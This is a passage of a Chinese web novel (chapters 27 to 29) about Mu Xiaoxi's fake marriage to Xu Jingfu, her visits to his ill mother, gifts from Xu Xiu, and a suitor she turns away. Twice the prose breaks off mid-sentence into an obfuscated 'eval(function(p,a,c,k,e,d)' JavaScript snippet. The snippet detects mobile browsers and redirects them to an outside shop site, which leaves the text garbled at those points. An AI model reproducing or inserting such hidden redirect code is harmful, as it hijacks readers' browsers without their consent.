木晓晞:“我也想妈妈了,本来前几天就想去看她,徐董说她状态没那么好,我就没去打扰。” 徐敬孚听到她说“妈妈”,还是有些不习惯:“没外人的时候,你不用演戏也没关系。” “哦……我只是……”木晓晞找了个理由,“我只是怕演串台了,一直这样叫的话就不会出错。” 徐敬孚又想到她从小没妈,唯一一个妈还是个实打实后妈这个事,感觉自己这话说得可能不合适,想了想,道:“也是。” “您不想让我叫的话,我就不……” “没事,就那么叫吧,就像你说的,别串台了。”他笑了笑,“等会儿见。” 木晓晞看着自己身上的浴衣,有点为难地问:“您多久到?” 徐敬孚说:“戒指和证件还在家里放着,我先去拿东西,大概四十五六分钟。” 挂了电话,木晓晞长出一口气,然后马不停蹄冲到了浴室,以非常快速简便的方式冲了个澡,洗了头。也不听什么音乐了。 洗完以后她吹了头,又打了前台电话借了把剪刀。 之后对着镜子小心比划着,给自己剪了个齐刘海。 虽然昨晚冰敷以后今天早上起来血包已经消了,但淤青还在,很明显的一片罩在额头上方,就算于珍眼睛不好了,离近了还是能看见,她不想让于珍担心。 不算剪得太糟糕,她扒拉了一下头发,对着镜子左右看看,满意地笑了。接着她看看时间,卡着四十五六分钟的点跑去自己的房间换了一身裙装。 是条粉红色格子法式无袖蛋糕长衬裙,本来打算是要和法国外国友人们聚会的时候穿的,结果没想到做导游每天爬上爬下的,根本不方便穿裙子。 搭了一双咖色脚腕系带的小凉鞋。 头发来不及全部吹干,披着好了,刚好遮一遮后背那里的一个圆形开口。 收拾完后她看看时间,还有五六分钟,徐敬孚也还没有给她消息,于是她又拿出化妆包,给自己描了两下眉毛,画了一个淡淡的裸色口红,让整个人的气色看起来好了很多。 她对着镜子笑了一下,昨晚那个十小时的好觉让她久违地有了一种神清气爽的感觉。自木钧匆匆飞来这个城市的那天开始,她好像就没有再睡过什么好觉了,也没怎么发自内心地笑过了,突然笑起来,她还有种怪怪的不自然的感觉。 “加油木晓晞。”她对着镜子里的女孩儿说。 不出所料,徐敬孚的电话卡着四十五分钟的点打了进来。 她接了电话,根据对方说的地点,快速地出了门,没几分钟,她就找到了徐敬孚说的地方,是餐厅旁边的那个水塘边。 她看到徐敬孚穿着昨天的衣服,站在那里打电话,一抬头,忽然一动不动地看向她这边。 她连忙招手:“叔叔!” 接着提着裙摆加快步伐向他小跑过去。 快到的时候,不小心踩到了一个小石子,整个人失控地往一边栽过去。完蛋。 徐敬孚手机一丢,连跨两步冲到她面前,抬起手臂一搂,整个人几乎被猛地掉落的重量压到跪在地上。 而她。 她非常精准地栽到了对方结实的胸膛里。 浓烈到几乎令人晕眩的雄性气息,再一次不管不顾地冲进她的鼻腔,“嗡”地一声,血冲上了她的大脑。心跳在那一刻如同草原上狂放的烈马,将她甩进了天际干燥的惊雷之中。 27.第 27 章 (二十七) 如果木晓晞在过往的二十年里谈过恋爱或者真正意义上喜欢过什么男生,那她一定知道这一刻的心跳是什么,意味着怎样的开端,表达了何种心情。 如果她是一个喜欢剖析自己内心的人,也许此处会有上千上万字的日记自述。 毕竟一个女孩的情窦初开是一件相当具有里程碑意义的事,这比来月经过成人礼更能象征着一个人独立精神的萌芽。这象征着她开始作为这个世界上的一个独立的个体,开始去欣赏这世界上的另一个个体,这说明她的内心开始不只有她自己,那扇心门也不止是为抵御敌人阻挡痛苦而存在。 这是一件多美好的事,如果她知道的话,她会为自己感到开心,骄傲,乃至自豪。理应如此。 可惜,她没有过。 她只知道她心跳了,跳得剧烈失控,因为……她摔倒了。 徐敬孚常年锻炼,只是一只手臂就将她整个人从掉进水塘成为落汤鸡的倒霉结局中拯救了出来。 她吓懵了,趴在他怀里一动不动。 直到徐敬孚将她提起来,她也还是憋着那口气,脸都憋得通红也不知道吐的,眼睛也有些微微的湿润,在徐敬孚看来就是胆子小的体现。 徐敬孚把她提得站稳后,退了一步,上下打量她身上,看看有没有哪里磕了碰了。 没有。 全身上下唯一仿佛受伤的,就是木晓晞那张吓傻了的脸。 “还好?”徐敬孚问。 木晓晞小口地出着气,张了张嘴,瞪圆了眼睛傻傻地看着他。 徐敬孚忍不住被她这傻样逗笑,他勾了下嘴角,轻拍了下她肩膀开玩笑道:“大难不死必有后福。” 说着转身回去找那个不幸被自己丢到地上的手机。丢得有些远,就算有钢化膜,屏幕也照样碎了,不过没坏彻底,也还能用。 捡起来擦了擦灰,转头看了眼那傻丫头,问:“你实习工资多少?” 木晓晞:“……嗯?” 徐敬孚拿出自己的手机给她展示:“你之前不是说,要攒钱还给我吗?先把手机屏幕给我换了。” 木晓晞眨眨眼,大脑慢慢复苏,她看看对方那惨不忍睹的手机屏幕,张开了嘴:“啊……我……我……好。” 徐敬孚把手机揣兜里,伸出手。 木晓晞一个激灵,往后猛退一步,差点没站稳又给摔了。 徐敬孚的手不尴不尬地停在半空。 木晓晞张大了嘴:“叔……叔叔……” 半空的手很自然地变了个造型,徐敬孚指了指她的额头:“头怎么样了?什么时候剪的头发?” “哦……”木晓晞一下松了口气,她也回过神了,连忙说,“还好,没什么。” 怕他不信,赶忙将刘海撩开给他看。 包确实消了,只是一大片蓝紫色的淤青留在上面,很是突兀。 木晓晞把刘海放下,有些尴尬地笑了吸,说:“我怕妈妈看见了担心,我就自己剪了个刘海,头已经没什么了,不怎么疼。”说着抿了抿嘴,“谢谢叔叔关心。” 徐敬孚“嗯”了声,给她做了个手势让她过来,然后往餐厅里去,一边走一边问:“那个旅客怎么样了?” 贝尔纳? 木晓晞呼了口长气,跟上去:“领队说他今天回国,退团了。” “没跟你说什么?” “……说什么?” “你帮他找到了相机。” “他自己找到的……虽然是我提醒的他。” “你倒是不居功。”徐敬孚叫来菜单,拿过大致看了看,问她,“要试试自己点菜吗?” 木晓晞:“……” 徐敬孚把菜单递给她:“试试,反正你实习也有钱。” 这也是一个西餐厅。 木晓晞接过菜单,小声说:“我才干了几天,还没发工资。” 况且实习工资也不高,换了手机屏,还够请客吃饭吗? 这份菜单,又跟抢一样。 “平时陈遇给你打的钱不够花吗?”肉疼两个字都写在脸上了。 “……够。”而且基本上没花,没有花的地方。 两个月了,卡里已经有四万。 “那就点,请我吃点好的。” 木晓晞跟做贼一样瞄他两眼。 徐敬孚:“怎么?” 木晓晞:“这也算吗?” 徐敬孚:“什么?” 木晓晞:“这不是左手倒右手吗?也算请客?”借花献佛。 徐敬孚想了想她的逻辑,回应道:“给你的钱,我没打算收回来,你赚的是你的,给你的也是你的。” 木晓晞想说实习也是你介绍的,旅行社承你的人情硬塞过去的,其实也不算是她凭自己的努力赚的钱。但徐敬孚说话时的态度实在是太理所当然了,搞得她一时有些混乱,心又开始莫名其妙怦怦跳起来。 她搞不清楚她自己这会儿又在紧张什么,也没那个脑力想明白,干脆就不想了,心一横,拿着菜谱开始点菜。 学着之前徐敬孚点菜时的样子,叫来服务生,细声细气一样一样地跟对方说,时不时问问徐敬孚吃不吃这个,价格方面也不抠搜了,开始像个真正的富贵人家的大小姐。 她想的是:就当是先赊账,她现在都开始实习了,那很快就会有真正的工作,等她赚到了钱就把赊的账补上,到时候就是真正的请客了。 而徐敬孚坐在她的对面,看着她这样点菜,却想到了曾经。 那时候的他一天能请那个小女孩吃的最好的东西,就是一个橙子,那时候的小孩没有嫌弃他,只是一个橙子也能吃得很开心满足。 谁能想到呢?有一天他们能重新坐在一起。 而他能请她的也不只是一个橙子。 徐敬孚微微一笑,看向窗外。 鸟儿在叫,玫瑰花在摇。 小孩儿已经不需要铅笔盒了,她长大了,现在的她还需要什么呢? 二十岁的徐敬孚需要什么呢? 钱。 她也是吗? 徐敬孚没有那么确定。 有那么一瞬间,他开始想掏出手机查一查,查查看,该怎么养一个二十岁的女孩子。 一个有点叛逆,想法很多但不爱说,对金钱很抠门,从小和老人一起长大又被亲生父亲背叛的……孩子。 想到这里,他脸上的笑又逐渐淡了下去。 因为他又想到了自己裤兜里揣着的两样东西:一个红本,一个盒子。 两样最不应该属于一个二十岁女孩的东西,全在他的手里。 当时是怎么想的? 明明于珍发病没能来,明明是有作假的机会的,怎么会就那样走进去拿了一个真的?难道就是因为不浪费预约机会?来都来了? “就这些,谢谢。”女孩儿点完餐,等着服务员走了,小声问他,“叔叔,我刚刚表现怎么样?” 徐敬孚:“……” 女孩儿笑起来:“像不像?” 徐敬孚:“像什么?” 女孩儿难得露出天真可爱的一面:“像个大款。” 他想,可能是因为。 可能是因为他知道,一个破橙子留不住一个七岁的孩子,而对二十岁的木晓晞来说,他引以为傲的钱也是。 也是一样的毫无用处。 钱买不到的东西,太多了。 徐休说上次发病后,他给于珍用了新药,找了专业的团队成立了实验室针对于珍的病情特殊性做研发,一针一千四百多万,如果身体撑得住,效果好,一月两次,可以大幅度延长预期寿命。 这只是药钱,其他的成本还没算在内。 能多大程度上延长寿命?人家也很实诚没把话说死,说以于珍现在的情况,如果药物耐受,效果好的话两三年。 “如果效果不好,也能在现在预期的情况下延长半年到一年。”经历了太多次严重病发,徐休现在说起这些事已经很平静了,“你妈不让我跟你说,但其实她现在的状态已经很差。” “多差?” “医生说如果不用新药,也就两三个月了。”他笑笑,“死马当活马医,最坏又能怎么样。” 徐敬孚听到这个时间,闭了一下眼。 徐休说:“这两天你妈的记忆已经开始出现混乱,记不清人和事,去年的说成昨天的,没发生的说得像已经发生的,昨天还在跟我说,让徐美莹回国来找对象,说她都四十了,再不结婚就生不出来了。” 说到这他笑了起来。 “你说她混乱吧,她还记得徐美莹是在国外念书,知道是几几年生的,还算得出来她要是活着都四十了。” 说清楚吧,却把最重要的东西忘了,徐美莹早在十三年前,二十七岁博士刚毕业就割腕了。 “我都不知道,这个针打得是好是坏。” 徐休叹了口气。 大约真是到年纪了,连徐休这样的人竟然也开始和人诉说心事了,而且还是跟徐敬孚这个假儿子。 当年两个子女在同一年先后脚归西,于珍的精神世界一下崩塌,整个人从里二外直接垮掉,她几乎立马要随孩子一起走了,是徐休拦住了她,找人将她如同看犯人一样看着,管理着。 可是丧子之痛并不是饭塞到嘴里就能解决的,于珍开始吃了就吐,喝水都吐,一年之内消瘦五六十斤,从一个雍容富态贵妇变成了一把干柴。医生说,如果不给她找个精神支柱,她求死的心就只会愈演愈烈。 又一次饭后呕吐后,徐休也不知道自己哪里来的灵感,编谎话哄她:“我们还有一个孩子,你就算不为你自己着想,也要为那个剩下的孩子着想。” “我哪里来的孩子?我的孩子都死了!”于珍边哭边骂,“都是因为你!因为你!因为我……因为我们。” 徐休循循善诱,一边编,一边心里有了计策:“你记不记得,你当初生的是一对双胞胎?阿乔活下来了,另一个……” 于珍猛地停住:“另一个?” 另一个死了。三斤不到,发育不良,生出来后没有两天就死了。 这事于珍自己也是知道的。 但如今为了让于珍活下去,徐休也只能睁着眼睛说瞎话:“那个孩子其实没有死,我前阵子去查过,那个医院当时经常做这样的勾当,把好孩子说成是病孩子,然后拿出去卖。” 人在绝望的时候什么样的瞎话都会信,于珍信了,深信不疑。 为了圆一个谎,就要撒无数个谎。 徐休于是找了一个团队,在全国范围内广撒网,去寻一个人:男,二十四岁,长相与徐家人近似。 他本来只打算制造出一个假冒产品来吊住于珍的性命,却没想到他的运气是如此之好,他找到了一个不用整容就很像徐家人的人,同样是二十四岁,孤儿,福利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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徐敬孚笑了起来,可能是觉得荒谬。 他对他的嘲讽视而不见,道:“你想要钱,我有钱,这就是最好的局面。” 徐敬孚点点头,认可了他的说法。 从此以后,徐敬孚不再叫他“爸”,换了个更适合他们的称呼。 “只要你们能让于珍不那么难受地,没有遗憾地走了,她的遗产,三分之二归你,三分之一给木晓晞。”徐休站在院子里,隔着窗户看屋里头的两人,“这是我给你们的承诺。” “徐董。”徐敬孚说,“我有钱。” 徐休知道他要说什么,抬了抬手:“你的是你的,这是你妈给你的,给你们的。” 徐敬孚无言,随他一同看向窗户里。 木晓晞看到徐敬孚,便将于珍的轮椅推得转过来对着窗,她抬手和他们招手,笑得很灿烂。 “你妈之前就说,我们两个一个比一个脸板得狠,这个木晓晞来了,屋里倒是添了些年轻人的活力,她是怎么笑得出来的?亲爸把她卖了,还跟一个可以做自己爹的老头子领了证,浪费了自己的婚姻。”徐休斜了徐敬孚一眼,指了一下,“你还挺有手段?瞧这笑的。” 徐敬孚:“您是怎么好意思把‘老头子’这三个字安到我身上的?” 徐休嗤一声,点他:“得了便宜还不认。” 徐敬孚瞧了瞧窗户里那傻丫头,再一次纠正他:“我说过,我对她没有那种想法,她对我来说就是一个以前认识的小孩儿,我认识她的时候,我已经有过女人了,而她那个时候还在吃自己的鼻涕。” 徐休对这些完全无所谓:“行。” “妈的钱我不打算要。”徐敬孚往屋里走,“您拿着吧,做点慈善。” 一进屋,于珍见着他就笑眯了眼:“阿乔!你快来,快过来。” 徐敬孚叫:“妈,怎么了?” “快来,我的乔宝,我要和我的星星宝一起拍个合照,乔宝帮忙!”于珍拿出手机给他,整理了一下自己的仪容,问木晓晞,“我这样好看吗?” 木晓晞在旁边帮她整理发丝,把挑好的帽子拿来给她戴上,再掏出自己的口红:“嘴巴上点颜色,美得万丈光芒,问谁家太太美又强,徐家于珍来啦,都给我让一让。” 于珍被她随口的顺口溜逗得笑不止,口红都差点涂歪了。 徐敬孚在前面看着,也微微笑着,看于珍的眼神很是温柔。是一种很少见的,带着浓重情绪的柔情,让木晓晞都不敢多看,一个劲低头打扮老太太。 “好了吗?”徐敬孚举着手机问。 “好了好了。”木晓晞给于珍戴上自己的珍珠耳环,“嘿嘿,这样就好了,美死了。” 之后她站到于珍后侧方,把头放在老太太的肩膀上,比了个ok。 徐敬孚给他们连拍了上百张,单人的,双人的,徐休过来以后,他叫徐休也站过去,来了两张。 徐休不喜欢拍照,拍完立马站到一边,跟徐敬孚说:“你去,我来拍。” 很巧,徐敬孚也不喜欢拍照。 他摇头:“我不拍了,我给你们拍。” “来吧,敬孚,我和你拍一张,你和晓晞拍一张,你和晓晞再陪我一起拍一张。”于珍指挥道。 徐敬孚低头摆弄手机,有点怀疑自己听错了。 刚打算忽略过去,于珍就又叫了他一次。 “敬孚,来啊。” 他抬起头,看到于珍温柔地冲他笑。 “敬孚,快到妈妈这里来。” 28.第 28 章 (二十八) 晚上五点多的时候天气突然晴转阴,傍晚时便下起了大雨。本打算一起吃个饭,由于于珍到那个点已经疲倦地昏睡,也就作罢了。 金笑笙给木晓晞发消息,说他们也在回程的路上了,问她晚上要不要一起吃饭、 她正考虑要怎么回复时,徐休叫她上了二楼,给了她一样东西。 “这是……什么?” 是一个四四方方的礼盒。 她不敢拿,徐敬孚帮她拿过来,打开一看,里头是一条流光四溢蜿蜒灵动的蓝宝石项链,中间部分的宝石像一串串人鱼的眼泪挂在波浪上,边缘的钻石流穗又像是大颗的流星划过天空的痕迹。 “你妈本来说要亲手交给你们,但你也知道她记性不好,下午玩得太开心,完全没想起来。”徐休看着那串项链,有点怀念,“是你妈结婚时的嫁妆,有些年头了,不值钱,算她的一份心意。” 听到是嫁妆,正要接的木晓晞一下感到有些烫手。 “拿着吧。”徐休说,“她也用不上了。” 这话是对着木晓晞说的。 木晓晞看了眼徐敬孚,没见对方有什么表态后,她连忙说:“爸爸……不是……徐董事,我,我收这个不合适。” 她又不是正儿八经的徐家儿媳,她只是个假的。 这个事徐休应该也是知道的。 “拿着。”徐休将盒子从徐敬孚手里拿过来,直接放到木晓晞手上,“他这辈子……”他瞟了眼徐敬孚,笑笑,意味不明地说了一句,“我看他也难了。” 接着,他叫保姆又去拿了一个巨大的礼盒过来。 放到桌上再次打开。 看到里头的东西,木晓晞震惊地瞪圆了眼睛。 徐休像介绍普通的地摊货一样跟她说:“这是给你的奖励,做得好。” 里头是一全套崭新的珠宝首饰,造型清雅秀气,淡绿色三叶草的花样,数不清上头有多少颗宝石和钻石。 徐敬孚听到“奖励”两个字,忍不住皱了下眉,不过还是没说什么,和木晓晞说:“和徐董说谢谢吧。” 木晓晞说不出口:“不,我……我也没做什么,我不……” 虽然不知道具体什么价格,但看起来就不便宜,像电视里国际巨星戴的那些东西。 “跟徐敬孚出给木钧的钱一个价,你拿去给木钧也好,将来拿来还他的债也好,都是你的自由。”徐休有些挑衅地看了眼徐敬孚,“他之前说得也没错,能在徐家捞一笔,就好好捞,他能给你的东西我也能给你,只要你好好做,不会少了你的。” 徐敬孚“嗤”地一笑:“徐董这是什么意思?” 徐休瘪了下嘴:“我能有什么意思?给看重的小辈一份小礼物而已。” 徐敬孚的腮帮子动了动,眼中有压抑的愠怒,低声道:“不要拿你那一套来对她,她跟你不是一路人。” “是吗?那她跟你也不是一路人了?”徐休反问。 “……”徐敬孚深吸一口气,跟木晓晞说,“我们走。” 东西也不准备拿了。 徐休的声音从背后传来:“你要么把东西带走,要么我就换成现金,马上叫人打给木晓晞。” 徐敬孚转过头怒目而视。 徐休见他总算生气,识相地不再开口,忍着笑对他做了个“请”的手势。 等保镖保姆收拾好东西将礼物全部拿走,徐敬孚先下去,木晓晞不明所以慌得看看那边看看这边,最后惶恐不安地跟他说了声“爸爸再见”以后,跟着下了楼。 以前认识的小孩儿么……呵。 以前的小孩,现在的成年人,时间能改变的东西太多了。 钱能用来要挟人,绑住人,却不一定能买来一个人的真心,如果能买来,那就不是真心了。 “是不是你要找的幸福……是骡子是马,拉出来遛遛就知道了。” 徐休靠在墙边,看着窗外顶着雨出了门的几人。 “但愿吧。” 四个保镖跟在后头送二人出来,两个撑伞将他们送到车库,两个则去帮他们将东西一路送到徐敬孚家别墅。 徐敬孚气冲冲地上了车,从后面上去,车门摔得震天响,等在里头的司机惊得一抖:“小徐总。” 木晓晞迟迟不知道该不该上去,她的工作还没有结束,犹豫着想跟徐敬孚说,又看他表情很差,纠结几秒后还是开了车门上去了:“叔叔,您……” “走。” 司机应声,开车离开。 这时金笑笙的电话直接打了过来,手机铃声不合时宜地响了起来:“玛卡巴卡阿卡哇卡……” 木晓晞连忙给挂断,翻出金笑笙的微信,准备给他回信。 【今晚我有事,不能……】 还没发出去,金笑笙的电话就又打进来了。这个人真是…… 她再一次给挂了,把话打完整,发过去。 对面秒回:【什么事?你去医院了?】 木晓晞:【没有,头没问题了,谢谢学长关心,今晚我有别的事,和别人在一起,不能跟你一起吃晚饭了,不好意思。】 金笑笙:【你男朋友来了?】 木晓晞:【……对。】先应付过去,她不想和金笑笙私下吃饭。 正在这时,一辆大巴缓缓从大路上开过来,打算进酒店门,而他们的车则是出门。 好巧不巧,就是旅行团包的那辆客车。 木晓晞一转头,就看到了对面车玻璃上那张一闪而过的金笑笙的脸。她连忙埋下头往里看,结果一眼就看到了徐敬孚,她连忙在心里祈求金笑笙没看到她,更没有看到徐敬孚。 应该没有,应该看不到这么里面。她自我安慰道。 但是……她又回过头,看到金笑笙趴在车后窗的位置跟她招手,他们的车从客车后头拐弯,两人的脸正正对上了。 完了。 “怎么了?”徐敬孚问。 木晓晞连忙摇头:“没事。” 徐敬孚回过头看到那辆大巴,这才想起来木晓晞实习的事。他叫司机停车,问:“我忘了你最近实习在这边住,现在送你回去?” 木晓晞连忙说:“不要!” 现在回去,搞不好会让金笑笙看到徐敬孚。 反驳得太快,反而引起了徐敬孚的怀疑。 好死不死,金笑笙的微信这时又发了过来,嗡嗡一声震动,在安静的车空间中很是清晰。他连发两条: 【我看见你了。】 【你坐的是你男朋友的车?】 木晓晞呼吸都不顺了,该怎么办,金笑笙认识徐敬孚的车吗?应该没见过吧?对,应该没有。 “晓晞?” 木晓晞不知道该怎么弄,现在回去肯定不行了,她都说了和男朋友在一起了,不回去的话……她有点为难地问徐敬孚:“叔叔,我能先跟您回家吗?” 徐敬孚一愣。 “是这样,我刚刚跟我学长说,我是跟……跟男朋友在一起,我撒谎了,因为他想约我吃饭,我不想和他一起吃饭。”车里有司机在,木晓晞不好意思说得太直白,支支吾吾道,“刚刚那个客车就是旅团的车,他刚好看到我了,现在回去的话……我能不能先和您回家,然后晚一点了我再回来,或者……” 徐敬孚没太听进去她说的那些,他满脑子就两个字—— 回家。 回……家? 徐敬孚没想到有一天这个词会从另一个人嘴里如此理所当然地说出来,而且目的地是他的房子。 他更没想到,说出这个话的是那个孩子。 当年的木晓晓,如今的木晓晞。三楼那副画技拙劣的画上的主角,他想要认作干女儿的人,也是如今的……假妻子。 前头被徐休气得满腹的怒火一下散去,无影无踪,只剩下一些莫名又突兀的局促和迷茫。 他不知道这是什么。 他也不清楚前头那个突然蹿出来的巨大怒火到底是为的什么。 他只知道,回去的路上木晓晞好像一直在问他什么,她问他:“叔叔,徐董今天说的那些话是什么意思?” “不知道。” “我也听不懂,他为什么说是奖励我?您不是已经……”和我签过合同了吗?您还给我爸钱了。 木晓晞想不太明白,毕竟她不知道徐敬孚是假儿子,但她经过这段时间的相处,她发现徐休也并不是他平时表面上展现出来的那个样子,有一些隐隐的直觉。 “您说,他是不是不相信我?” 徐敬孚这时也很混乱:“什么?” 木晓晞:“徐董说……” 她看了眼司机,把话忍了下去,指了指前头摇了下头。 这个司机是徐休的,跟徐休身边二三十年了,其实已经算是自家人,八成已经知道他们的真实关系和一些内情。但木晓晞的隐私意识还是很强,她很警惕地闭了嘴,用口型示意他回家再聊。 回家说。 她怕他看不懂嘴型,还重复了两次。 回家说。 回家里说吧。 到了别墅,保镖直接把东西送去二楼办公室,他也和木晓晞进了屋。因为让保镖提前跟保姆打了招呼,两个阿姨已经开始煮饭了。 看到木晓晞回来,两个阿姨有些惊喜,跟徐敬孚招呼过后两人分别去跟木晓晞抱了一下。 “不是说实习期间不回家吗?”王阿姨小声问。 “临时回来一下,明天还要回去。”木晓晞说着指了一下楼梯上的男人,“我先去了。” 说着便哒哒哒地踩着凉鞋上了梯子。 到二楼时,保镖正从办公室里头出来,准备走了,她跟两个大哥礼貌说再见,两个大哥也冲她笑:“夫人再见。” 夫人? 木晓晞张着嘴,尴尬极了,看向办公室门口的徐敬孚。 “进来。” “……” 徐敬孚见她不动,又喊了一声:“进来。” 木晓晞这才进了那个被李秀称之为“禁地”的地方。因为李秀的提醒,来别墅这么久了,她从来没进来瞧过一眼,甚至平时下楼时连二楼都不会多停留一秒。 这下突然被叫进“禁地”,她还有点受宠若惊,不太自在。 踟蹰着进去后,看到了一个和一楼风格很统一的办公室——一排排的书架,文件,和三楼的“图书馆”有一拼,只是书籍的种类更加单一。 书桌背后的书架上有几样漂亮的雕塑摆件,更多的是被翻旧了的书,一个个资料夹,还有贴满了标签的本子。 没想到当老板的也会这么爱读书。 徐敬孚也没拦着她,任由她像个好奇地小鸟转着眼珠子在办公室里四处打量,他拿了钥匙将徐休送的两份礼盒全部放进保险箱里,一边放一边说:“东西我帮你收起来,有需要的时候和我说。” 木晓晞回过神:“什么?” 徐敬孚没重复第二遍,问她:“前面在车上想说什么?” “哦……”她都有点忘了,在车上要说什么来着。她想了一下,想起来了:“哦,对了,我是想说,您说徐董送我这些东西,是不是不相信我呀?我听他的话的意思,就像……就像在邀请我跳槽一样,有点……”挑拨离间的感觉。 她觉得这个词不太好,换了个说法。 “像在测试我的忠心。” 徐敬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316181|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孚没想到她会这么敏感:“那你怎么想?” “我?”木晓晞大脑空白,“我要怎么想?我……我没怎么想……” 还需要怎么想吗?她想问,又不敢问,怕徐敬孚觉得她脑袋简单。 徐敬孚看她的眼神一时有些复杂。 她小心地问:“叔叔,您有话直说?” 徐敬孚并不想问她,也没有问她,更没有回答她什么,他直接转移了话题:“你不喜欢金笑笙?” “?” “他看起来和你还算匹配。” 木晓晞连忙否认:“不匹配,一点也不匹配。” 提起金笑笙,她就有点头疼,被金笑笙给看见车了,万一下次徐敬孚开车去酒店……应该不会再撞上吧?那么小的概率的事,不至于发生吧?今天徐敬孚开的什么车?是粽子还是那辆有小翅膀的车?记不得了,等下去看看。 看她否认地积极,徐敬孚笑了下,脱了戒指放在桌面上,习惯性拉开抽屉拿了包烟出来:“哪里不匹配?年龄差不多,长得也不错,工作能力应该也还行。” 拿到一半,想起她有鼻炎,又放了下来。 “我又不是单身。”她条件反射地说,说完以后愣了一下,连忙找补,“我的意思是,我现在这样……不太好谈,万一……毕竟我……” 有证。 证现在还在他的兜里揣着。 这话说出来仿佛是在责怪,但木晓晞确实没有这个意思:“我是说……嗯……” 徐敬孚把红色的结婚证掏出来放在桌面上:“我当初说过,你会为你的冲动付出代价,代价来了。” 说到这里,他想起了那一记重重的耳光。他记得那一巴掌下去,她的脸一下就肿了。 “……”木晓晞也一下有点不自然,显然她也是想起来了。 之前打的时候,没觉得自己做错了什么,只觉得她不识好歹。木钧拿着他的身世秘密一而再再而三上门勒索,还带上了自己的女儿,以木钧当时的状态,他能把木晓晞带到他面前,能把那本木晓晞成长相册当做特产送到他手里,毫无疑问,这个不配做父亲的人自然也能将木晓晞送到其他人那里。 他将礼物退还后,认为木晓晞应该会去看那个相册,如果她看到,那就会知道木钧带她过来怀的是什么心思,那她就应该明白,他给她的那两个选择,实际上原本只该是一个选择。 如果她足够聪明,足够自爱,她应该选那个对的选项。 却没想到。 是一个连合同都不知道看,随手就签了的傻子。 不止选了个错的,还一错再错。 想到这里,他有了一个猜想,他问:“之前你爸给我的那个特产呢?你放到哪了?还回去了?” 特产? 木晓晞摇头:“在学校。” “知道送的是什么吗?” “……是什么?” 果然。 徐敬孚不知道该笑还是该摇头,一个满肚子算计和谎言的势利眼,养出一朵不谙世事的小白花,难怪徐休今天会说那些话。 如果木晓晞真和木钧一样,那她就应该识相跳槽,徐休能给的的确比他能给的多得多。 如果她真的是这样的人的话。她是这样的人吗? “那个东西,我有用,开学后原包装拿回来给我。” “是什么?” “一些重要的文件资料。”他说得像真的一样,“你爸用来威胁我的东西。” 木晓晞低头:“对不起,叔叔……对不起。” 徐敬孚看着她羞愧的样子,心里有些隐隐的动摇,他好像有点能理解徐休的举动了,此时此刻他竟然也有点想测试。于是他想了想,问她:“那一耳光,疼吗?” 木晓晞连忙摇头。 摇完了,又抿嘴。 “我知道您那个时候……是为我好。”她低着头说,“而且我也……我也误会您了,说了很多不应该说的话。” “你过来。”他坐到椅子上,冲木晓晞招手。 木晓晞迟疑着走过去。 徐敬孚把两本结婚证一起放到她手里:“如果你想的话,明天我们就可以去把离婚证办了,这个东西妈已经看过了,以后也派不上用场,要是你想谈恋爱的话……” “我不想谈。” 木晓晞脱口而出。 速度快到让徐敬孚有了一种错觉,忍不住蹙了一下眉头。 但她的下一句打消了他的疑虑:“您不知道,金笑笙他在我们学校风评不好,他换女人如衣服,我不喜欢这种花花公子。”生怕他不信,又道,“我喜欢的不是这种类型。” 他忽然想起,木晓晞好像跟他说过,她喜欢什么类型的男人。 但他好像没注意听,完全不记得她说了什么。 “是吗?” “是啊。”木晓晞把红本本放到桌面上,说,“我现在不想跟任何人谈恋爱,任何人。” 徐敬孚看着她,看到她的表情变得有些沉默。 看着这样的她,不知怎么回事,他说了一句:“既然你不喜欢他,那你是怎么拒绝金笑笙的?除了告诉他你有男朋友了。” “我……我还骂他渣男?” “还有呢?” “……没有了。”她说,“现在他带我实习,抬头不见低头见,我也不好做得太难看。” 徐敬孚伸手:“手机给我,解锁打开,我帮你拒绝。” 木晓晞先是一怔,然后有些犹豫地把手机给了他。 只见徐敬孚打开相机对着木晓晞拍了个照,然后打开金笑笙的微信对话框,将照片发了出去,并配文三个字—— 【到家了。】 29.第 29 章 (二十九) 徐敬孚的方法确实见效。 从那天之后,金笑笙对她的“骚扰”一下子少了很多,说是悬崖式下跌也不为过。整个人从花言巧语爱调戏人的学长转为了中央空调式热心前辈,热情还是热情,但多了不少分寸。 比如说,他几乎没有再对木晓晞“动手动脚”过了,也没有再像以前一样有意无意地和她来一两下眼神的触碰。 看来是真信了。 突然变得这样“上道”,木晓晞猛不丁的还有点不习惯,有点为自己的谎言心虚。 她怕自己露馅,还特地问过徐敬孚:“叔叔,你最近会来酒店吗?” “最近忙,不一定有空。” “哦……那……” “说吧。”徐敬孚刚开完会,边收拾文件边跟她电话。 陈遇低声和他说,钱成滨在待客室想见他一面,他摆了下手让等着,然后继续跟木晓晞听电话。 木晓晞纠结许久,鼓足勇气问:“要是叔叔来酒店的话,能不能别开那天那辆车呀?” “理由。” 木晓晞说了自己的担忧,说金笑笙那天有可能看到了她“男朋友”的车牌号和车型,万一他开车去酒店,再万一就有那么巧给遇上了,那怎么办。 可就露馅了。 徐敬孚听到这种属于小孩子的鸡毛蒜皮的担忧,叹了口气,摇了下头:“那就让他误会,你的目的不是为了让自己清白,也不是为了让他不受伤不难过,而是为了拒绝。”顿了顿,又道,“当然,如果你的目的不是这个的话,就当我没说。” 他这么一说,倒把木晓晞给说愣了。 拒绝就是为了拒绝,不是为了清白,也不是为了让别人好受? 她受的教育也好,文化中的主流也好,似乎都不是这样说的。拒绝别人要温和,要顾及体面,要多换位思考为他人着想,与人为善做个好人,这好像才是她从小接触的文化。 “车我会换一辆开。”徐敬孚干脆地下了结论,“还有事?” 木晓晞沉默几秒,说没有了。 